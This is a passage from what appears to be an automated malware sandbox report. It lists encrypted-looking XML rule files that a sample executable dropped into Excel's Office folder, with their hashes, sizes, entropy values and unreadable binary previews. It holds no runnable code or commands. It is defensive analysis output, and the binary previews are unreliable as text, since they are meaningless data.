Encrypted:	false
SSDEEP:	12:hiJby9ntZOsyxPzYIVfEY7/O0rmEcGD7iI5YRxS2cii9a:hdtDEP5VfV72px1yYJbD
MD5:	E3E94D5106AAC233DC9A3899F9A8AEC5
SHA1:	4973E845E99D3A45D46D4FDADDDADA1C70DDF2A0
SHA-256:	4AE98F5D5C1C92DA3B45F1555B64E219C1039BF439D62B13D5CA02A7749EDB87
SHA-512:	F5CC508DF994B929AFA8B1A22D7C6FFF40CDB2FF4182E956EBEBD326DF55D1AD6516479B7963E910EFDEB34B2E7F0D0FFB6BA8C2D67EF40FB48C4C6C9F6EBFE7
Malicious:	false
Preview:	<?xml..R.........v..]....yU....^W.>y..>H...).O.R...}.I...v8ew=.B.ub..y.....X...9.W.....D..b..4^0.m.)...0..3.....].t.s9.3..s-=.....@....=...B..G.b^.a.q...;9._..-.8....:...x..V1U>......P.7...U.KC....c...o9....O.......$Z.......\|".j.LW.}.):hC...U.p...,.r.9.e...C..e"{.......KQ]..O..^.._....P.x.'..~?.P.4 .:.]/.....4..1.....+.E.)......\.{.....t..vW..N..}"......G7..TDb-........h..5W.'..N].Ef5. ...W..{.{....MN..H.)....T2 .7@R...j...@..`.......Q...-..Y8.S.S{. Z...<..<....f.&.....?9...u..^.B..b0}...S...".[....,...Z.o....;S.*..{.QLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.723663638983231
Encrypted:	false
SSDEEP:	12:+oxja2x/SaD38L6BAdWDDnNO9rnND8ayq3ch6cPsyxS2cii9a:+UlIko+LIViayu5obD
MD5:	C3C26E58F3B6CFF02031CF35A23A51A6
SHA1:	B54DA968562D510627D8CEF419194A56B6A1612F
SHA-256:	1F80B251870E297012507C9A610F58701A0F63D654CCCBCAD1C003FF09D2E365
SHA-512:	0DAB5839EAE79000257D2303AA1CA97973619D16096738815304692C4C430F86AC0BD901F7116998A7B9D80FCA429917AD7864F928E4D8CD02E3B15CC64E6B1B
Malicious:	false
Preview:	<?xml.G^.Kn@.9B.....;.@-.....#~.i.X../..3OXB..X..P...?iFJ@.Y....%....o.o.!..A~....=>....5$..O.l..CnrD. %.6.z.....;.1.J.6..8.W......0.'Ap.r.\|z#.o..-..#@..h...D...+..W..X...}eO......3..X\.o..0.....D..H+8.bT>..?.n&...}.........YUYH...c!....K?P..H.'.........}!......6m-...S..j].@.zH.y...d}...........S&..t\....s...)t..!.i..h.y.%....~.Z...u...,..T.^L...Y......"...".Z[l.A...a.-.l......i..I...I..!q..5...i.g.!n.Q...>.#.c>K..A...1Cg.mD......K.4......F..n..........TVqR......]../..HU...>?t;.B.Ug..x..z.D.g......u...-.....8..M.tZ...l.8..s.g.._.......Z..j.j.YM..@.-...e.%5Yu5.FU-...Q..d....L..~..I.9....8.w.L\|DC.a..~.DB&BE7...m....'.^0Fo."tCo...\|,..\|4..._NT..=a..#...,..>H...w.$...Sc..)j...a...&...I*]y1Z.I..o/v.j._?.M....@.4...z.2.Of........tvLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.972953468253914
Encrypted:	false
SSDEEP:	192:fbjrfHl7xNFrlRID30ZQxm4jmfAYC4djynq4DWsO:/rxDFcDk2zmfPC4MfSsO
MD5:	8F250EFE6B65D9A0890DC2FA42CB9D1F
SHA1:	0905D2EDD66F8D557562FC633A3F82278389352C
SHA-256:	F8C940BDD7AD0946A216F05A53AFBD7ACF6644A535FC45309CD70A244E1646F5
SHA-512:	37CD462DC820A76B5CFB762E7ECC76B2DB3A0FA744D222A2BBB111E34B929D38E1ED3F4858CEE832BAF98211336F4C401FE354BEBB7EB7855782638E417D4366
Malicious:	false
Preview:	<?xmluF...8p..JT....Dv.6....=....7 ..Uv..I.D..3m...V;/...^fg.s.>...a.c...Y' ..or..2..B....dM.qT.,:_.....%-h.G.B.(.V..`.!..B.$2...&...le..).OeY..m%"....s..zC`....\|.U.dQ.Lm{...c.b.P.$X..1y.0.p.$.g39UvSI......n......x.c1.3.S...n..#.\j..-Vx.......]`.i...!n-....a..:..n...UM!.>1csH.lc..I.S.....A..3...j.....$L2.O[.j<L.V_'..:\|..7(....S.O0..j..... .8.[:.}/....Qr.'I..Hb$"R....$6.M..l........7.....?.x'......R.%..K..P6..._.\...~..... ....ca.x...b.]:sb.....U+E.......be...DHin..V'.O....yR($.G.............bNM.P.fx...)<..4..........U......Z2o..!..;....%:..E...f[>.c.y.D.."b..L....L...V.R=......"...V...R..77j0..i.+w...6.u1w-..A#W.....\|.k.GS.\..P....Q...j.5kyYj5.G...!.....W....[.A..,k>W.:..1..9...:...}a.~v.B\|.<..u>.y...y...M@.Z..9t;....d+V.E.T..C>.Y_o...*.............(..Z..\.....f.'j..........6......Ny.v...C.......<.rz.(v.....w9^.;.Y...cD...)@.8l....y.~..0p>6..$.r.B.Cl\...~....K.?.EV..bo...jb....c.B.8..V.,[[.8.l.X1.....k..K.......%..(M.f&L....Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.829725892563972
Encrypted:	false
SSDEEP:	24:BHYXmqMNBAv2xTUMuxYUjUZ8CF9pvyXxo58oBGhmbD:BPqM8uNHlmYwUGh0D
MD5:	A9D65B4FCAAFA122C011A30B6AC222CB
SHA1:	C773AB4D376E3E25970C683E826A61DE0D4CC138
SHA-256:	7E28F7C8D5B5DA0C63F92A79D1265B3B381EEE949EE024A9459671BD2C77C646
SHA-512:	F7CA1AFF6E00B050241C7BC75D4034712B429AF02384D42894AF2F8AE9046B23630EC42FD3FBDB9342F55302972EF99B9D6254A521FAB6FE094888CD68076B9F
Malicious:	false
Preview:	<?xml...}l.@..3..B.8.p..4..2....YK.#.].B.#...K...<...jA..U.. 9.%...8..{......?..tFz)..a..~G....4..Y......)7Ue....b.Dg;..)\A/..........y>.......A.:.....R...~...4.\|6{...j..!.e_..i.G...O....h1..._J..{t.....^...M~/f...<..u..d..T3v..@..~........a,.....hE.>..W..#.}..B1.\|f....8..gZ.3:-.I..dg@tM...jd...[_).....Ff.J...Y.P^.95...}..G.p.]l.N.O=-..y.......3n..o.Q.9s.!.....h..Q..&.r.\|...Vtk.7...c.;.p....4V..bl.Xr]...h...YcT.n.7..+S..@{\.\|.5.pfmN.5.B.H.y...K..[.S......a...1V.T0....h...g..[....eM7..1L1.....U.d....C(.I:....A3J../....O.^S]iJ.].&R...0T.:x...-.3aN..D&.Ah.....#x.my.a.....}2K....0.bF..a".....t.....F.@9:..Z.._..y.U....".r....p......s...}5..X...n..1...&.T.?.._..#..Wy..,..@:..c^..L..w.....g.oj...U.h...U..!.U!.O............_....0..=...8$.-.7.u....i.m..T..\Vrh...J....h.G..q.D./.r.I."..s...(j....p._4...$h.cz......S..q...<.@.3/...z.m...e.>....[.Yc.lPi..l...X.^..%.I..P)..?..#..,Z..q....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807285562808987
Encrypted:	false
SSDEEP:	24:qYRAw18uhl/nhCAH0d2eKVbNJfe6c+6gJCwUa2x0mZWn/rbD:hig8u3hzH0d2tXef+MwUa2umoHD
MD5:	609D36E7FBE317123EFEF7E1DC1ED9BE
SHA1:	01CC63F6C76734A39D36CE8CEB965C323AD1B7F4
SHA-256:	657E5CED9D300B85F85B5DA0327D7FF43A185559595B8968EC5F290C4FBE7A63
SHA-512:	FC9EF06DB0F23D3F4EA7E4E6578E48E0DDED6A8C98B4C914429EAB20F66698187801A2363FA4262D0829947BE77878031D900405F8A3F4CDB8F2F52587BF18AB
Malicious:	false
Preview:	<?xml.(u.2.X.?......(..nyl.f.f..)......hg..5t(....k.O..,.v.f....7.I.f.r.$V.(....Mrw...:..A...M.......u.4.....Z.V...q.<......O...L..../K..wW<..`a. W}.x.............`T...].DHO/...]v...._p.xc..=...,....r..m.N1...$.q..v..{......S...x7....i.)......."fR. .4X.(..UK;...A..Q;..k-xR..r1..RW..V._.:^....}.%..?...(a..S9..vp.fj....{._..gb?C..sO3.....)u5....w..>...&g.G......&....m.OtB,.Q.._..).I...*..O.8.V.3Z_..5R.S.O..#U..E....\|..Q8.D.....K.x..n..O.J.0Jd.7...D.O......../.C.......Z..G.;.W....d..2.\...7.eIt..s.8...s..[........\...&.~...`...x..._..j....j....EA....N~.s..V../F.%...c.!f.....%.uO.../jM.Z........Y...)~.OT......m..=o..%$..XC+.J..5:...e.[.~..:...-.O.3.(g..N~.g...e.'.X.j..r?...a...t.y.@P.....[..............`.W.Qv.<.$..t....v.U.B.\|j...8..X...^..N..t/...q......p.......WO....h.(.Q...h&.+a.....8......7.n\|.....)....}.i5..$......z4..\.c.o=1PuH..%O[....x..s..!.Hu.Y...Cw...".4.F....U.p.>..fu..._/.ZsZ.Z..~S..(@...x..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzy

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270001v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.802119987494101
Encrypted:	false
SSDEEP:	24:BsskuxAPxCRPF7Ziy3y+wiDV6aS+aVBe3Ba1OcXybD:9xbbyhiDV6vFn97wD
MD5:	F56C3F8D5C07768E765A991F60626EEE
SHA1:	53C8D6E2F011E19D3E20CF81F0BDD32DB501969E
SHA-256:	637E58DE2BF1BDDE3BC97E6CACE51D72F77122F74F1CEA69624AA00FD056F4A0
SHA-512:	9984A694F19C1AFE2C05CD8A57F9E6128874BCF9A07C62A4767448A7FAF8084903A9B490726B7353E9FBEBB23849DFCBAB6BEEAA9F24C5D16E2DAAA09692D54E
Malicious:	false
Preview:	<?xml.';tg.9p...V.>.].{..K..Mzo.\|.........K.<...1..t.6.5Ql..\b...\|/..k....\.......jd.X..'.S.Fh>.&X....o.(p9M!E.........{.....w..NTJ.<..Y..........(b...Q.".i.^!.N.6.m{ ....G...4..I.(.5........,..8..S...4P......]\|..h..?K....K.CkOM.a..?AP^..r..e.o.....\.;..5tr.....H.....`.......,Gm...G.S...\|3.Z.\|.ZO..<F...vL..}(3h../.]h...6.l..........v6 ..."..g...&..$.vw.D#..p?..k.fH..P..hHq..c.d,.":.P..H.e..8.h...@.N..q..N..DWS.C..;.u.0...=.Gw/."=\|..z'..E.>.........Oh.'B%.\|..cL...,...o.....v.........r.5../...P..".%.P.V'...8X........../.g[..%U....Z.......k.."iL.m.Q.z..'S#..f.4..,.W..1`.p...........-[.>...!..l..[..}f....1..3_X.&j.}acI`3..2'..s.f.....).9...P.k.J..O.._j....z.Q:j.R..L.=.e.....U'...r^..M.q.AU=.....dK.J`.Dy...(.H.mj..u#.I.+.......{.OV.z...$\R.7.yx0.r.L...+..\.....%E..9._.W....e..k.F..F.....E..x\|........q..^.Y..&...m.......o....k....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270002v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.800934571789317
Encrypted:	false
SSDEEP:	24:r4ZaanRFuAUtoIpuO07+ZoNTvcXfaAQccSJxDj1FQMsVn9E5nOZbD:sZhRFuAUGYnArcyN1GniN9E5nwD
MD5:	3A5774EE457DA8C37DABD1AA4FD28186
SHA1:	3F9205F3943BA6CAB2282FBECEF031D8DCE9ABF1
SHA-256:	1FA8B918F93D9E6B5DEBCA1C364C62D94592DC8A181140A2148997AFDAF85DA9
SHA-512:	1CCA8E959220955CBE7B397EF49B075866DB76AB062602F827A8E924726B3AD9D26CC8F8E48387FBC004CF3613764EB830D3CE547D8167D63C5814BEB93A83C8
Malicious:	false
Preview:	<?xmlq...9V3L`..'"!\|...TxE....f.u..w..N...\R....5.WO.....x.ff......0.l.v..x.y..H(...E.$N"....<.."N.>.c.~.g.....i..H.>CVJ...o.f..m0..C...<.C.._.GV.g.7.!.p..)...:...>.....k..h.V.@.,.,.q$........\|..M.~.k.R.s:...P ..V...Eu...R...F..U..x....n.x..W{..p...X.+...../41..SA..$.qWY..c.}GL....0c.!.O.A.....n.aG..cw.^..f...1{3..1..P..e.p!.].....>.pV....{..>j..Yl...n.-.KX...c.....w...n.CY......N.....C..?..2+N...;.&W5.d]...5...>.U?......l.&......#p...=...n....'.....Uc.:..!...U.....<..&X.......pm..}..?2.....F...s.nqB....c.FB.. ...0.W....QDn}..;.za...o9...v^6.9.}.s.3;/..@JW>.?..S^k..\|...x]....<8.Z.Z.....{....D.&MDq.'m....#Z..SFY.:.o........u.A.-.q..c....l..v...H..o..2....s..^z9.dj.g;.D......$.AK.I.....i.7y.Bb....7...X.SC........a=[.L.$........kDE~...6..k,...S.DGm...f.....$.6...v.Oa..J.l\|3.n.=.W..H...=..?...V...3...=.Z....W..T...#p5.KS%._...n.vq.....e..C._.N.\|.....A.O>..wS<.~.LP.R../..[.7?..qE.{*...........Kf......>.'..;.v.MD&.~7.j..5..K..^.=..fN9q.i\.dU

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270003v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1662
Entropy (8bit):	7.876415002072035
Encrypted:	false
SSDEEP:	24:td/5qpGSYttEaloEnu/Uy4yUAF0TSqElcaP16oTtaxphlWmC056ZoNlNhtCbD:P/4pUyEnucyF0BMcAVTIxH756ctQD
MD5:	D5E29374AF95BB5D5FBA27670200B428
SHA1:	3FC0964BD653AE9EC8F1FFA3798A7FA129B38C36
SHA-256:	7F472B2E2F1F0F5DDBD52C2F674A3F9F8E9F01B5E000275508FE2A14A6191D38
SHA-512:	82D2972942C22176A38E4AC6E2C13BB1D48EEA2A0F3D974761D9E1ED0A7AA66D2B5DA728ECEF67040AD9C0BAD54B6E369A9232938CB3AB6363EAA30E2D878B63
Malicious:	false
Preview:	<?xml...rJ..p...Y..............%nC....q...dt.......#..Z....`'.b.i. .......Dt+.....r.:H...d..L5.e.......`.9...Y..rfP"V;...+.o8a`.......i6.2.~...6.........J..h..h.+..c.1.-...>.dy'....!..o..).;......;D.>.g..yon.!.dA;...a..w...&.3.)~.4.._........S.h..jB.>.Y........nt..h...W.......6.q..Tl.......7T.Kd...@M]8;... li.....Y...].~uU=.#O..._.HW4.m.d...V..K.lE.:..%.EC>irv'_.b..![.P.5.@3Tt.U.$0..2....\.-.....'....,..;.u8.5.y.,y....\.B...o[.rdE..wr.s.G..{.5.o.Y...q...-.s.......g.ICP}...Q.E.E7.^...+.n[.c[,.bE.z)........S..DBX...e.f...T.X.....'gq..;........b...{C.#..$~.3R.......U7'I.xd.H.g.bo3..w9.S0....s.:B5./.e~......("...!.X.M0OH.(9.R..6...:......y.$..W..y..P..#.Y^.......2.&.....1.?]...D.:y?.....a..h..z:..I&q..BkZ...pW.Am..qUZ!t.e.5f.PjP..wl$.e/@w.{..i....}.."....s.c..Z:..v]``.6...7..t..%.../.A.~..`.Xtn.MQa....L. '..{Y....L....Z..%9..VP....t...`.0.\|.Ic.q7$......W`.-....#.e.....Um.<.......F.."...v..7a."aT.:Uv......,....x.P.'..hv.'..-.5.5......m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270004v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.724712003351148
Encrypted:	false
SSDEEP:	24:2vCmXjhS6yMo4L2zWmH/8xxRpRTLQH5+j7ybD:qfjI6yz4LZIoDTI5I7gD
MD5:	E198917609E45E2D2AEF5DB35FE9C368
SHA1:	2459A12873697EFAF79FE8FDFFBD83637EC6E7C8
SHA-256:	D12DC2AC70E4E6A27720AD3FAACB0AFC9179B51D297E0071257F6DF4FB0C87C3
SHA-512:	5A95EE87490764C801980FEE5764B81DDC5B57F37C62B7778D62575D883B0C31823E6A8FB88A36B2C5967C67F8DAC30D5BB780360A971A426C5B27D662807A7F
Malicious:	false
Preview:	<?xml.J.d44.._ 8!..e..LZ..Vd5w[b.....n...x..dd.v...R...mB.6L.......;.F..$..:Z..}....\.......w4%..m...1......-6:..l.i..+....$....mGn./`=..].....,R.t%...!..._MY'm...Z.S..:}.c..9J......%........-.]d...^..RJ.H.....tf.XS.cW).S..}$..1.B...3.....:....gF.h..p)....M...T/.H...;z.[.Z..K.D.a].y.HTr...T.....\.H...i.q.....T.Ny.IM....2.DY.....<..ae...d..O........8.0y.U....Ixn..#...q..E.........:..< ..H..=.h.a.MiL..M.^.u.lgH..k. Nd.js..K.......}a.?P@8....k...QM538M..Fw.Q.Y/...*Yq.....N..`.IY. .'.......l.I.m..\|.i..k..a.1.O1TM....xw.^.#........:..H.J....=g...........V.C.@.X...iu.........$..`..qj......../.....m...W.xM11d....Q...D;J.N6}g.G.D.$\..B..&D..nx.S..,.S.$!.]..K..S.+..x....I.XV...C..."~v.N..g...Qg....%.5.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270005v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.855317821646853
Encrypted:	false
SSDEEP:	24:HcXHpBGAqA4SxWxs4y7zH9SJB0YXhxPRQIFSMaXvaaaEB8z3amBWxJ/Hsi++IbD:8XpBGAqO94rJbhpFSlvleOCW7/TSD
MD5:	1A3FE0B3DD8DF268D5AE264D956381F8
SHA1:	E5614621B5E4B36DCCAE1C871AB38F1C914FC93A
SHA-256:	B5767735F4E324EC430AB4E7BC941E9A6677558441A28538BA0C75EB80D1B463
SHA-512:	929F8F0273F8128315790BAD3B2ADBE75E2C555DC3E5C510E5EE88DC4FC2ABDDD16D70860D9E7075050D1FE1EDBF8873DC1E6740E62870B1B94D5839F0E11175
Malicious:	false
Preview:	<?xml.0.j..h..z...d..'B.w.j..G".a."o.=0..MZ...s..H!.X...e......$........L...0..D.6..&(..z?...c..g..Xx..i.0........3...\u.@:l.X......m;.W..C..I.....>..+S....5.{.4.f.....T.6t............J... 'z...2.....[wKe.D<../..F....z/-r..c.6..}.'b..Yg.......)...1.@.c..7{..d..-~.,S.H......9.$...wi..E....tN..... ....C..J5u..^......=Xa....no....x=...h.B.......>.b.q&TG......s ....4{..b.Q.Es.#..,2eZ(3.sA..M[.....J#oA.0..R..3...V.C.-,.R...W..B..O.77..e...=.4..W..E{rj.....1m..f.@kC4#]...v...D)/....y.99.07.35..].v'..K ....:...C..F....P>.K....5&.`.@......A...PL.h..?=O.&.%.....,~...h...d.Du.V1.X........^....D..0 .xV...[.T_...._!q.)%4..(.D...'.'q...0u..Xf.z}M....Q.H.7..9.=fh..T..b._....).5ZI..e...!....F..V..;46...5..n.w...8G.N..U<..@D...R..a...W.>..=\|(.....!Q...gb..rUh.u.S.N...q.?}uwC{..D..#F.h5.S.d....^.vv.gl.vz...A.;+w....k)elG.q.m..$D....G.L.]X....m.Dw.%...N`C....{q.@...F.UMz,...L.....Aj..IW.lVuj.-..&O.<8....DI..^..`p......k.W=..2I`.b..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270006v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.892155613739162
Encrypted:	false
SSDEEP:	48:bQTVeYVAga8GX8dRd05yFRskNlRp60IhUacGD:b8A85Ky0klp67ye
MD5:	09D1FB0A2A829F71E2A4CBE0F813D391
SHA1:	8A692E596EF3704C2E8FC5909C7D93EB2030846B
SHA-256:	5BD6D108022ECBE3BE231384E806C7813DF4C76C0B8BA3C2383EC09DF9537234
SHA-512:	B03A0C371DD21A7295975CECCC765DFB53B9260867B0B541241169C1509B220D7EEBED49A8B3D6F560C513CB94D9F7B7109C7ED4C4A9290BC3959FF0DF2A115C
Malicious:	false
Preview:	<?xml..~.......fC.9..h....5.K..Q.Fz%.\|.......2. 6....hy.h.zT9...&..Z.k,.He.hJ^_l.Q..&.4...8.......:Pn.F.\|...."....M......h.ww.lre..H.={.x..d`..w...w8.9![Rd....k..>...7.......~.+..$.:.L.....b.D..4.K....c.K..+U...ra.M...kC.SR.L.....$<..x GG0......p.w.T.../....+.\\.X.A#Z......g...F.....4.1VB..}...W.....Ff...4?s.F@.L...P0..z..c^..V.7..4...?...5.d.w..QRNv}...\.#..r..Tr..>pSA.f...m.n..Thq..T.:..e.%..cq.......+.w#L=>.[f....(.#;....f....f.!...W=v.6.6@.^..EF.x&EE..^...[Q^..@..n.[.$..g.#...o......<..y@y..oJ.'V.E#...Ir...M.]..C..y...~.r'pe...9%...u.+$SS.p..CI.d.6..X+n.5h.4.._!..D......Q........1.i.b... .Po.z..S.s'....#R.o9c..S...\..0P./....j!..\..X...Ai7.v......o."..,..2W\UH./..F.A.X.....\|.....A.!f.H....S.uM0.f..].6e........i.&EBf....(\y......3.1~.J..$7...lf"...}._(.Gv.......v\#XOj.r%..y....!.}..FE.6.....O(..,..q"....x~Iv...1}.+.+y./m).....Wa. ....s.(kZ./....r.J.8P....m..H...u.AXszu..mg-.....F;.S.....g...a....J...5..T...%...#m......C].W.8.IG..[..C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270007v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.697619278456074
Encrypted:	false
SSDEEP:	12:2Rw19ry3iw6Mrjk2fGaxyekv4JykPexRp+EXRco+q/N6iZfjCEyjS2cii9a:2Rw4rprjRGaxyFCtWME7tN6iFjeDbD
MD5:	BA56C3F24E251C756591CE33470F96CD
SHA1:	AEAB0043E1B2C7B561BE4FB890BF73DB87E79018
SHA-256:	8EAC8BDFFDA03DBC589D113987F1A3C17F8F59999A4D754D3379AB5A7D00F2BC
SHA-512:	579BA176F967A09A3156462E94556BBBA0A52275CB72927F9136FA6C615D622A4EB0C2D2590CB3A39CE9B295BEFE3C4B73525304DF461F47AF9B0C99B2924B2A
Malicious:	false
Preview:	<?xml.WbrD..X..+$.9......f.6D.z..".q...t]..5..C%._,...RE..K~........A..:}..%J...4}.<...Q.....t.. .&.W.....W...:t~...&6.._..$.?....V.....c>B.5.....N...#./%B.@P....i..H....7...(..<\|.:-...EfU.0.......Y......T.f....u.X....k}...S.<..E... E.V.l..d......"...i...J.V,..D?6.b.....+.....o.Z"A.rV.R.....bqu...2.i.`.;...vT.@...F...^..6 ..&@.h..Df..[.E...).....j..$MC........K..)Agc.q.l.......-a7..f.T}4=f..aM.l..RYJ....5...!.x..C}.....t.\|1.....W.......{.4..5.t......W(....pb.r.ca..2..S.zn.4...._.R..jo .c..!.V......x.z.n...E...i.p..&...Q..\|.!..2./......<;V.o....I.......,...v..8..u=a....;...v.1R^...*z.-G..b+5...k..H..4...Y......).\..\|..X...A5.9O.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270009v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	7.728619185857763
Encrypted:	false
SSDEEP:	24:Ca1yqDqe8ruwFbQgP5uEK+GL79wc2fy+x326ibD:T1f/glwK3xTwD
MD5:	AEF85A794512D0C9065FEC47BA5EBDEC
SHA1:	91BAD387CC4F6C41CF5AE55A267D70DE6001B418
SHA-256:	FED068CA1FBACF62205F311AA25D6673A28121EA6307162CB84FEAF4C83B0498
SHA-512:	949B72BB8A69DD8A200D315AE20731EFB01320E27FB8A6B56E75E292D06F85C97DC3C033D5D21A702EEFB23E418CFFE4820821485822B175857FDC28DBF81A45
Malicious:	false
Preview:	<?xml..4.=..a..O....k$............A...9.. o...[O.IlG,....?@..{{ .F.Q#.3..I...T...RC".4.z..x@..<G .B......k`w..G..q..p....}...5.+c...;.XD.. ..s.d...b..nx.....U..L ...Y$......{.%......s9.oN20(..R........F.&].......x.U....~.R..w....H.....0....eg .@}VN.gc..6&{.....Q8_..-.........<.n+."$.9...W..S.LG......s....{:.......!0w.8..E." ..f.{.....z.../6l0..G...Ao.cc....<.......O.....0^MTAv4H...W.y.} M..U).a{&....qQ....v........l...~+.k..M...D.<..^m...4.sg.q.....M#...z.m.g..._..).....g~....d..<..b.l.........y...d...F.iK..4..p......T...WNH..0......cE/\|.."v.......G0.....=6..U./....Av"-..\.73.?....'......I.).Y.....}.^.F.[Y#...E.x.=.2.kC..!&_"d..5=W.........{.W.,.\|.....Z.2J.!.s .>.J9=...n>- ......~. ....4..q`G.\|.........k.m}...(.x..........xLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270010v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	7.87320736019087
Encrypted:	false
SSDEEP:	48:I1VP1umUtQUQZrf9VL3odu1MxXF+01h1D:elS2JD3odDX4qN
MD5:	BA182D1994AB6AC054AFEA0AA0CF7E06
SHA1:	B4A5631D1B6DBA5F1BC241E2810F7C47F55183F3
SHA-256:	B273036BF78562E0BD333F1997E954389F67BC972CBD87F269FE96942AA6E10D
SHA-512:	88C76078B4C9AC1A021AF77E2AD8BBE741674FE26CA6230E61670650792B58F59FA9BCC8B7EB3767E1A90C090D74C0F6D8D5DF430574690C162F0E9047937742
Malicious:	false
Preview:	<?xmlj..%].#..y$..+...\....Z.:..k..q.!LZ....?Z7....[s$cW...{.E........E..J.[D.[w..Xk=,.K...g...20}..[..H...h ..g.........c4_(.O......m.H......O.\|e.......T.\-9....(F...-Wq....pa.....SN#.p_V~n....lm_...%.F..PW...2.!8QT....j.U{K..I8.Z.1.H....y.%.....~..!.~E5.P..1#..6.t.C.zIf...X.-_....)h...e..O.(..J.Q.o.x.I....F:Y<..b.f....b......2R......f....WH.g/:o.r.......WqD.P...;..z.G..l...V.R,.O.^..n..R....%0....V.8Q.)....7m../.S...~.......P8..rL?r.98.........;..$L>...,.LH.#......3X[......zc...Z..e......e.^....q..Q...k......v..9Y.Z.e..*..'.;3.zw..lnS..518IIt.D..f..R&l.\|G..K....W$.(....H.qL..3....5.H.&.7......F..l.=...\|?CM.L.d..i./..%.(.K...S<..O.:y.....=c.-....KA..x..^......F..x....=..._U..g...........3.^.p(b)z..,...;.&..rk+...4<Kmg..s f.$jC......o..bK#. .L..=.....\.e.C.....f.T..{....8..e..].V...t...Jv....?.R..}....3...F.. GD..........).kMjQ.....m.?.v..@..E.L"[.....l..p.I...0u..Zb.1....}5...m.V.^E.P.8..n`..,e..v6F"...hu.O.DeF.C..d....~z......p.cX4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270011v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6917297572791
Encrypted:	false
SSDEEP:	12:fHnjjW0GxYa4roUbuRj4ZsJXIuTabXO7IMUfEdiFfWP+BxOHpV3JOu53k21P/4Sw:/PW02P4kx4Z0IuTGOMMUcdikWBsV5d6L
MD5:	1F7A510A58FF3E507089F40527E039B6
SHA1:	26BF89A05360349A82C94EE7F62C8DF791E6DBF1
SHA-256:	FEBFB89FCB9D5CCED2E3DACFE5E9C8B6DF06AA576A874B6A1A906D55622C644F
SHA-512:	F7B774859ED56B4A17BA976CDDC7981D22842B29D8D30E85F1274D1BA534EF982E821E7AC1D43A52F5852D8902D4D0FAE794244C7E51BBD582656212B5564FF9
Malicious:	false
